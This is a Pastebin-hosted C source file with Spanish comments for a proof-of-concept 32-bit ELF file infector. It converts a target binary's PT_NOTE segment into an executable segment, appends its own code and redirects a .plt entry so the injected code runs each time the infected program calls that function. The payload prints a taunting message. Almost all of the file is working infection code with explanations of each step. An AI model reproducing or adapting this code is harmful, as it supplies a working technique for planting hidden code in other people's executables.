document.write('
Data hosted with ♥ by Pastebin.com - Download Raw - See Original
  1. /*
  2.  *    Sustitución de PT_NOTE, ahora con código de activación que sobreescribe
  3.  *    los wrappers de la .plt
  4.  *    Copyright (C) 2012  Gonzalo J. Carracedo
  5.  *
  6.  *    This program is free software: you can redistribute it and/or modify
  7.  *    it under the terms of the GNU General Public License as published by
  8.  *    the Free Software Foundation, either version 3 of the License, or
  9.  *    (at your option) any later version.
  10.  *
  11.  *    This program is distributed in the hope that it will be useful,
  12.  *    but WITHOUT ANY WARRANTY; without even the implied warranty of
  13.  *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  14.  *    GNU General Public License for more details.
  15.  *
  16.  *    You should have received a copy of the GNU General Public License
  17.  *    along with this program.  If not, see <http://www.gnu.org/licenses/>
  18.  */
  19.  
  20. #include <sys/syscall.h>
  21. #include <sys/types.h>
  22. #include <elf.h>
  23. #include <stdint.h>
  24.  
  25. /* Los includes pueden llegar a ser muy molestos. */
  26. #define O_RDWR                02
  27.  
  28. # define SEEK_SET             0       /* Seek from beginning of file.  */
  29. # define SEEK_CUR             1       /* Seek from current position.  */
  30. # define SEEK_END             2       /* Seek from end of file.  */
  31.  
  32.  
  33. /* He utilizado el mismo marcador en ambos, la cadena "KPAX". KPAX es una
  34.    cadena más o menos segura y es realmente complicada encontrarla por ca-
  35.    sualidad en un binario (se puede hacer la prueba con un simple grep KPAX
  36.    en todos los ficheros de /bin, /usr/bin, y /usr/lib, no hay una sola
  37.    coincidencia) */
  38.    
  39. #define BOTTOM_MARKER_LOW  0x504b
  40. #define BOTTOM_MARKER_HIGH 0x5841
  41. #define TOP_MARKER_LOW     BOTTOM_MARKER_LOW
  42. #define TOP_MARKER_HIGH    BOTTOM_MARKER_HIGH
  43.  
  44. #define NOT_INFECTED_MAGIC 0xdddddddd
  45. #define LOCAL_POINTER_OFFSET 12 /* Aquí he de guardar el inicio del código */
  46. #define SAVED_POINTER_OFFSET 18 /* Desplazamiento del puntero salvado */
  47. #define CODE_START_OFFSET    16 /* Desplazamiento del inicio del código */
  48.  
  49. #define BOTTOM_MARKER      0x5841504b
  50. #define TOP_MARKER         BOTTOM_MARKER
  51.  
  52. /* Pequeño hack del preprocesador de C para convertir palabras a cadenas */
  53. /* Cuando hagamos algo como STRINGIFY(palabra), el preprocesador nos lo
  54.    sustituirá por la cadena "palabra" */
  55.    
  56. #define _STRINGIFY(x) #x
  57. #define STRINGIFY(x) _STRINGIFY (x)
  58.  
  59. /* El flag "x" le indica a GCC que la sección debe ser código ejecutable y
  60.    el flag "a" le obliga a que la sección se cargue en memoria */
  61.    
  62. asm (".section .code_bottom, \\"xa\\"");
  63. asm (".long " STRINGIFY (BOTTOM_MARKER));
  64. asm (".long 0");
  65. asm (".long 0"); /* Alineo */
  66. asm (".long 0xaaaaaaaa"); /* Puntero local */
  67.  
  68. asm ("pushl (" STRINGIFY (NOT_INFECTED_MAGIC) ")"); /* Hacemos push del puntero salvado */
  69. asm ("pusha"); /* Salvamos registros */
  70. asm ("pushf"); /* Y el EFLAGS */
  71. asm ("call _start");
  72. asm ("popf"); /* Recuperamos EFLAGS */
  73. asm ("popa"); /* Y todos los registros */
  74. asm ("ret");
  75.  
  76. asm (".section .code_top, \\"xa\\"");
  77. asm (".long " STRINGIFY (TOP_MARKER));
  78.  
  79.  
  80. /* Vamos a necesitar, por lo menos, todas estas syscalls:
  81.    write, read, open, close y lseek  */
  82. int
  83. write (int fd, const void *buf, int size)
  84. {
  85.   int ret;
  86.  
  87.   asm volatile ("xchg %%ebx, %%esi\\n"
  88.                  "int $0x80\\n"
  89.                  "xchg %%ebx, %%esi\\n" : "=a" (ret) :
  90.                  "a" (__NR_write), "S" (fd), "c" (buf), "d" (size));
  91.    
  92.   return ret;
  93. }
  94.  
  95. static inline int
  96. read (int fd, void *buf, int size)
  97. {
  98.   int ret;
  99.  
  100.   asm volatile ("xchg %%ebx, %%esi\\n"
  101.                  "int $0x80\\n"
  102.                  "xchg %%ebx, %%esi\\n" : "=a" (ret) :
  103.                  "a" (__NR_read), "S" (fd), "c" (buf), "d" (size)  :
  104.                  "memory"); /* read modifica la memoria */
  105.    
  106.   return ret;
  107. }
  108.  
  109. static inline int
  110. lseek (int fd, int offset, int whence)
  111. {
  112.   int ret;
  113.  
  114.   asm volatile ("xchg %%ebx, %%esi\\n"
  115.                  "int $0x80\\n"
  116.                  "xchg %%ebx, %%esi\\n" : "=a" (ret) :
  117.                  "a" (__NR_lseek), "S" (fd), "c" (offset), "d" (whence));
  118.    
  119.   return ret;
  120. }
  121.  
  122. static int
  123. open (const char *path, int mode)
  124. {
  125.   int ret;
  126.  
  127.   asm volatile ("xchg %%ebx, %%esi\\n"
  128.                  "int $0x80\\n"
  129.                  "xchg %%ebx, %%esi\\n" : "=a" (ret) :
  130.                  "a" (__NR_open), "S" (path), "c" (mode));
  131.    
  132.   return ret;
  133. }
  134.  
  135. static int
  136. close (int fd)
  137. {
  138.   int ret;
  139.  
  140.   asm volatile ("xchg %%ebx, %%esi\\n"
  141.                  "int $0x80\\n"
  142.                  "xchg %%ebx, %%esi\\n" : "=a" (ret) :
  143.                  "a" (__NR_close), "S" (fd));
  144.    
  145.   return ret;
  146. }
  147.  
  148. /* long2hex: convierte un número en hexadecimal, no tiene más cosa. Será
  149.    muy útil para depurar. */
  150. void
  151. long2hex (unsigned int number, char *buf)
  152. {
  153.   int i;
  154.   char hexa[] = "0123456789abcdef";
  155.  
  156.   buf[8] = 0;
  157.  
  158.   for (i = 0; i < 8; i++)
  159.   {
  160.     buf[7 - i] = hexa[number & 0xf];
  161.     number >>= 4;
  162.   }
  163. }
  164.  
  165. /* Esto lo utilizaré para buscar los marcadores del código. Saco la dirección
  166.    del %eip mediante un call (ya que no podemos calcular las direcciones de
  167.    nuestras funciones sin acceder a la GOT) y a partir de ahí doy saltos
  168.    hacia arriba o hacia abajo hasta encontrarlos */
  169.    
  170. void
  171. get_code_limits (uint32_t *bottom, uint32_t *top)
  172. {
  173.   int i;
  174.   uint32_t this_addr;
  175.  
  176.   /* Voy a hacer un call cortito, sólo para que meta en la pila la dirección
  177.      de código en la que me hallo. El popl %0 saca la dirección de retorno
  178.      que metí con call y ¡zasca! tengo el %eip en this_addr. Gracias,
  179.      inline assembly de GCC */
  180.      
  181.   /* call 1f quiere decir "call 1 forward", es decir, saltar hacia la etiqueta
  182.      que llamé 1 y que está hacia adelante. Esto de utilizar números para
  183.      etiquetas se suele hacer mucho cuando la etiqueta hace referencia
  184.      a un cacho de código que no está especialmente diferenciado del resto. */
  185.      
  186.   asm volatile ("call 1f\\n"
  187.                  "1:\\n"
  188.                  "popl %0\\n" : "=g" (this_addr));
  189.                  
  190.  
  191.   /* Alineamos a 4 bytes. Esto lo hacemos poniendo los dos
  192.      últimos bits a cero. */
  193.      
  194.   this_addr &= ~3; /* this_addr = this_addr & ~3 equivale a
  195.                       this_addr = this_addr & 0xfffffffc que es un and
  196.                       en binario con todo 1 menos los dos últimos bits,
  197.                       esto fuerza a que el número esté alineado a 4. */
  198.  
  199.  
  200.   /* Búsqueda del marcador inferior. Como hemos forzado al enlazador a que
  201.      nos alinee los marcadores a 4 bytes, podemos alinear también nuestra
  202.      dirección de inicio y saltar de 4 en 4 para encontrarlo antes.
  203.      
  204.      El marcador está hacia "atrás", o sea que recorreremos la memoria
  205.      restando. */
  206.      
  207.   for (i = this_addr; ; i -= 4)
  208.   {
  209.     if (*(uint16_t *) i == BOTTOM_MARKER_LOW) /* Primero la parte alta */
  210.       if (*(uint16_t *) (i + 2) == BOTTOM_MARKER_HIGH) /* Y luego la baja */
  211.       {
  212.         *bottom = i;
  213.         break;
  214.       }
  215.   }
  216.  
  217.   /* Búsqueda del marcador superior, ahora tenemos que dar saltos en
  218.      nuestra memoria hacia adelante, sumando. */
  219.   for (i = this_addr; ; i += 4)
  220.   {
  221.     if (*(uint16_t *) i == TOP_MARKER_LOW)
  222.       if (*(uint16_t *) (i + 2) == TOP_MARKER_HIGH)
  223.       {
  224.         *top = i + 4; /* Le sumo cuatro porque el marcador superior (que mide
  225.                          4 bytes) también pertenece al código. */
  226.         break;
  227.       }
  228.   }
  229.  
  230. }
  231.  
  232. /* open_elf: intenta abrir un fichero ELF, comprobando que es un ELF
  233.    infectable */
  234. int
  235. open_elf (const char *path, Elf32_Ehdr *Ehdr)
  236. {
  237.   int fd;
  238.  
  239.   if ((fd = open (path, O_RDWR)) < 0)
  240.     return -1; /* Error al abrir */
  241.    
  242.   if (read (fd, Ehdr, sizeof (Elf32_Ehdr)) < sizeof (Elf32_Ehdr))
  243.   {
  244.     close (fd);
  245.     return -1; /* Error al leer la cabecera */
  246.   }
  247.  
  248.   if (Ehdr->e_ident[EI_MAG0] != ELFMAG0 ||
  249.       Ehdr->e_ident[EI_MAG1] != ELFMAG1 ||
  250.       Ehdr->e_ident[EI_MAG2] != ELFMAG2 ||
  251.       Ehdr->e_ident[EI_MAG3] != ELFMAG3)
  252.   {
  253.     close (fd);
  254.     return -1; /* Números mágicos incorrectos */
  255.   }
  256.  
  257.   if (Ehdr->e_ident[EI_CLASS] != ELFCLASS32)
  258.   {
  259.     close (fd);
  260.     return -1; /* El ELF no es de 32 bits */
  261.   }
  262.  
  263.   if (Ehdr->e_ident[EI_DATA] != ELFDATA2LSB)
  264.   {
  265.     close (fd);
  266.     return -1; /* El ELF no es little endian */
  267.   }
  268.  
  269.   if (Ehdr->e_type != ET_EXEC && Ehdr->e_type != ET_DYN)
  270.   {
  271.     close (fd);
  272.     return -1; /* El ELF no es ni un ejecutable ni una biblioteca */
  273.   }
  274.  
  275.   return fd;
  276. }
  277.  
  278. /* Macro para alinear a tamaños */
  279. #define ALIGN(x, size) (((x) / size + !!((x) % size)) * size)
  280.  
  281. /* Esta función reemplaza el primer segmento PT_NOTE que encuentra */
  282. /* Además, me devolverá la dirección virtual del código inyectado */
  283.  
  284. int
  285. replace_note (int fd, Elf32_Ehdr *Ehdr, off_t offset, size_t size, uint32_t *vaddr)
  286. {
  287.   int i;
  288.   int note_idx;
  289.   Elf32_Phdr phdr;
  290.   uint32_t lowest_va;
  291.      
  292.   lowest_va = 0xffffffff;
  293.  
  294.   /* Este bucle me calcula la dirección más alta del programa, además de que
  295.      me busca el PT_NOTE. */
  296.  
  297.   note_idx = -1;
  298.  
  299.   for (i = 0; i < Ehdr->e_phnum; i++)
  300.   {
  301.     if (lseek (fd, Ehdr->e_phoff + i * sizeof (Elf32_Phdr), SEEK_SET) < 0)
  302.       return -1;
  303.      
  304.     if (read (fd, &phdr, sizeof (Elf32_Phdr)) < sizeof (Elf32_Phdr))
  305.       return -1;
  306.      
  307.     if (phdr.p_type == PT_LOAD)
  308.     {
  309.       if (phdr.p_vaddr < lowest_va)
  310.         lowest_va = phdr.p_vaddr;
  311.     }
  312.     else if (phdr.p_type == PT_NOTE)
  313.       note_idx = i;
  314.   }
  315.  
  316.   if (note_idx == -1)
  317.     return -1;
  318.    
  319.   lseek (fd, Ehdr->e_phoff + note_idx * sizeof (Elf32_Phdr), SEEK_SET);
  320.   read (fd, &phdr, sizeof (Elf32_Phdr));
  321.      
  322.    
  323.   phdr.p_type = PT_LOAD;
  324.      
  325.   /* Alineamos al tamaño de página, esto es una restricción necesaria, ya
  326.      que el kernel sólo puede definir nuevos segmentos a partir de nuevas
  327.      páginas */
  328.   phdr.p_vaddr = phdr.p_paddr = *vaddr = ALIGN (lowest_va, 4096) - ALIGN (size, 4096);
  329.   phdr.p_filesz = size;
  330.   phdr.p_memsz  = ALIGN (size, 4096);
  331.   phdr.p_flags = PF_X | PF_R;
  332.   phdr.p_offset = offset;
  333.   phdr.p_align = 4096;
  334.  
  335.   lseek (fd, Ehdr->e_phoff + note_idx * sizeof (Elf32_Phdr), SEEK_SET);
  336.  
  337.   if (write (fd, &phdr, sizeof (Elf32_Phdr)) < sizeof (Elf32_Phdr))
  338.     return -1;
  339.    
  340.   return 0;
  341. }
  342.  
  343. int
  344. inject (int fd, void *base, off_t offset, size_t size)
  345. {
  346.   if (lseek (fd, offset, SEEK_SET) < 0)
  347.     return -1;
  348.    
  349.   if (write (fd, base, size) < size)
  350.     return -1;
  351.    
  352.   return 0;
  353. }
  354.  
  355.  
  356. #define DEBUG(x) write (1, x, sizeof (x) - 1)
  357.  
  358. void
  359. write_zeroes (int fd, int bytes)
  360. {
  361.   int i;
  362.   int null = 0;
  363.  
  364.   for (i = 0; i < bytes; i++)
  365.     write (fd, &null, 1);
  366. }
  367.  
  368. /* Código cerdísimo para hacer el chanchullo que modifica la PLT */
  369. int
  370. name_is_plt (int fd, Elf32_Ehdr *ehdr, uint32_t shstrtaboff, uint32_t index)
  371. {
  372.   char buffer[5];
  373.   off_t saved;
  374.  
  375.   if ((saved = lseek (fd, 0, SEEK_CUR)) < 0)
  376.     return 0;
  377.  
  378.   lseek (fd, shstrtaboff + index, SEEK_SET);
  379.  
  380.   if (read (fd, buffer, 5) < 5)
  381.     return 0;
  382.  
  383.   lseek (fd, saved, SEEK_SET);
  384.  
  385.   /* A falta de strcmp... */
  386.   if (buffer[0] == \'.\' &&
  387.       buffer[1] == \'p\' &&
  388.       buffer[2] == \'l\' &&
  389.       buffer[3] == \'t\' &&
  390.       buffer[4] == \'\\0\')
  391.       return 1;
  392.  
  393.   return 0;
  394. }
  395.  
  396. int
  397. look_for_plt (int fd, Elf32_Ehdr *ehdr, off_t *start, size_t *size)
  398. {
  399.   int i;
  400.   Elf32_Shdr shdr;
  401.   uint32_t shstrtaboff;
  402.  
  403.   if (ehdr->e_shstrndx < 0)
  404.     return -1;
  405.    
  406.   lseek (fd, ehdr->e_shoff + sizeof (Elf32_Shdr) * ehdr->e_shstrndx, SEEK_SET);
  407.  
  408.   if (read (fd, &shdr, sizeof (Elf32_Shdr)) < sizeof (Elf32_Shdr))
  409.     return -1;
  410.    
  411.   shstrtaboff = shdr.sh_offset;
  412.  
  413.   for (i = 0; i < ehdr->e_shnum; i++)
  414.   {
  415.     lseek (fd, ehdr->e_shoff + sizeof (Elf32_Shdr) * i, SEEK_SET);
  416.  
  417.     if (read (fd, &shdr, sizeof (Elf32_Shdr)) < sizeof (Elf32_Shdr))
  418.       return -1;
  419.      
  420.     if (name_is_plt (fd, ehdr, shstrtaboff, shdr.sh_name))
  421.     {
  422.       *start = shdr.sh_offset;
  423.       *size  = shdr.sh_size;
  424.      
  425.       return 0;
  426.     }
  427.   }
  428.  
  429.   return 0;
  430. }
  431.  
  432. /* ff 25 XX XX XX XX 68 YY 00 00 00 e9 ZZ ZZ ff ff */
  433. int
  434. candidate_is_pltfunc (const char *bytes)
  435. {
  436.   if (bytes[0] == \'\\xff\' &&
  437.       bytes[1] == \'\\x25\' &&
  438.       bytes[6] == \'\\x68\' &&
  439.       bytes[8] == \'\\x00\' &&
  440.       bytes[9] == \'\\x00\' &&
  441.       bytes[10] == \'\\x00\' &&
  442.       bytes[11] == \'\\xe9\' &&
  443.       bytes[14] == \'\\xff\' &&
  444.       bytes[15] == \'\\xff\')
  445.     return 1;
  446.  
  447.   return 0;
  448. }
  449.  
  450. uint32_t
  451. look_for_pointer_to_change (int fd, off_t start, size_t size, uint32_t pagealign)
  452. {
  453.   int i;
  454.   char buffer[16];
  455.  
  456.   for (i = start; i < start + size - 16; i++)
  457.   {
  458.     lseek (fd, i, SEEK_SET);
  459.    
  460.     if (read (fd, buffer, 16) < 16)
  461.       return -1;
  462.      
  463.     if (candidate_is_pltfunc (buffer))
  464.       if ((*((uint32_t *) &buffer[2]) & 0xfff) == pagealign)
  465.         return i + 2;
  466.   }
  467.  
  468.   return (uint32_t) -1;
  469. }
  470.  
  471. int
  472. alter_plt (int fd, Elf32_Ehdr *ehdr, uint32_t injected_code_start, uint32_t binsize_aligned)
  473. {
  474.   off_t start;
  475.   size_t size;
  476.   uint32_t pointer_offset;
  477.   uint32_t old_gotplt_pointer;
  478.   uint32_t actual_code_start;
  479.   uint32_t new_gotplt_pointer;
  480.  
  481.   if (look_for_plt (fd, ehdr, &start, &size) == -1)
  482.     return -1;
  483.  
  484.   if ((pointer_offset = look_for_pointer_to_change (fd, start, size, LOCAL_POINTER_OFFSET)) == (uint32_t) -1)
  485.     return -1;
  486.    
  487.   /* Ahora, @pointer_offset: desplazamiento (de archivo) del puntero al elemento
  488.      de la .got.plt donde se guarda la dirección de la función resuelta */
  489.      
  490.   lseek (fd, pointer_offset, SEEK_SET);
  491.   if (read (fd, &old_gotplt_pointer, sizeof (uint32_t)) < sizeof (uint32_t))
  492.     return -1;
  493.  
  494.   new_gotplt_pointer = injected_code_start + LOCAL_POINTER_OFFSET;
  495.  
  496.   lseek (fd, pointer_offset, SEEK_SET);
  497.   if (write (fd, &new_gotplt_pointer, sizeof (uint32_t)) < sizeof (uint32_t))
  498.     return -1;
  499.  
  500.   /* Esto lo debemos guardar en donde empieza el binario, más SAVED_POINTER_OFFSET */
  501.   lseek (fd, binsize_aligned + SAVED_POINTER_OFFSET, SEEK_SET);
  502.   if (write (fd, &old_gotplt_pointer, sizeof (uint32_t)) < sizeof (uint32_t))
  503.     return -1;
  504.  
  505.   /* Ahora, en binsize_aligned + LOCAL_POINTER_OFFSET: la dirección del
  506.      inicio del código (injected_code_start + CODE_START_OFFSET) */
  507.    
  508.   actual_code_start = injected_code_start + CODE_START_OFFSET;
  509.   lseek (fd, binsize_aligned + LOCAL_POINTER_OFFSET, SEEK_SET);
  510.   if (write (fd, &actual_code_start, sizeof (uint32_t)) < sizeof (uint32_t))
  511.     return -1;
  512.    
  513.   return 0;
  514. }
  515.  
  516. /* Este código se ejecutará dentro del binario infectado */
  517. void
  518. payload (void)
  519. {
  520.   char msg[] = "YOUR PLT IS MINE NOW, U MAD???\\n";
  521.   write (1, msg, sizeof (msg) - 1);
  522. }
  523.  
  524. /* Punto de entrada, como el main () pero en cutre y sin ayudas de ningún tipo */
  525. void
  526. _start (void)
  527. {
  528.   char buffer[9];
  529.   Elf32_Ehdr Ehdr;
  530.   size_t binsize;
  531.   size_t binsize_aligned;
  532.   size_t code_size;
  533.   int fd;
  534.  
  535.   uint32_t *default_entry_point;
  536.   uint32_t limit_bottom;
  537.   uint32_t limit_top;
  538.   uint32_t injected_code_start;
  539.  
  540.   get_code_limits (&limit_bottom, &limit_top);
  541.  
  542.   code_size = limit_top - limit_bottom;
  543.   default_entry_point = (uint32_t *) ((void *) limit_bottom + SAVED_POINTER_OFFSET);
  544.  
  545.   /* Aquí tenemos dos casos, dependiendo de si estamos o no estamos dentro */
  546.   if (*default_entry_point == NOT_INFECTED_MAGIC)
  547.   {
  548.     if ((fd = open_elf ("victim", &Ehdr)) == -1)
  549.     {
  550.       DEBUG ("No se pudo abrir el ejecutable victim.\\n");
  551.       for (;;);
  552.     }
  553.    
  554.     binsize = lseek (fd, 0, SEEK_END);
  555.     binsize_aligned = ALIGN (binsize, 4096);
  556.    
  557.     /* Rellenamos con cero hasta llegar a un desplazamiento alineado al tamaño
  558.        de página de x86 */
  559.        
  560.     write_zeroes (fd, binsize_aligned - binsize);
  561.    
  562.     if (replace_note (fd, &Ehdr, binsize_aligned, code_size, &injected_code_start) == -1)
  563.     {
  564.       DEBUG ("No se pudo reemplazar PT_NOTE.\\n");
  565.       for (;;);
  566.     }
  567.    
  568.     if (inject (fd, (void *) limit_bottom, binsize_aligned, code_size) == -1)
  569.     {
  570.       DEBUG ("No se pudo inyectar.\\n");
  571.       for (;;);
  572.     }
  573.    
  574.     if (alter_plt (fd, &Ehdr, injected_code_start, binsize_aligned) == -1)
  575.     {
  576.       DEBUG ("No me pude enganchar\\n");
  577.       for (;;);
  578.     }
  579.      
  580.     DEBUG ("Binario victim infectado.\\n");
  581.     for (;;);
  582.   }
  583.   else
  584.     payload (); /* Código a ejecutar una vez infectado el ELF */
  585. }
');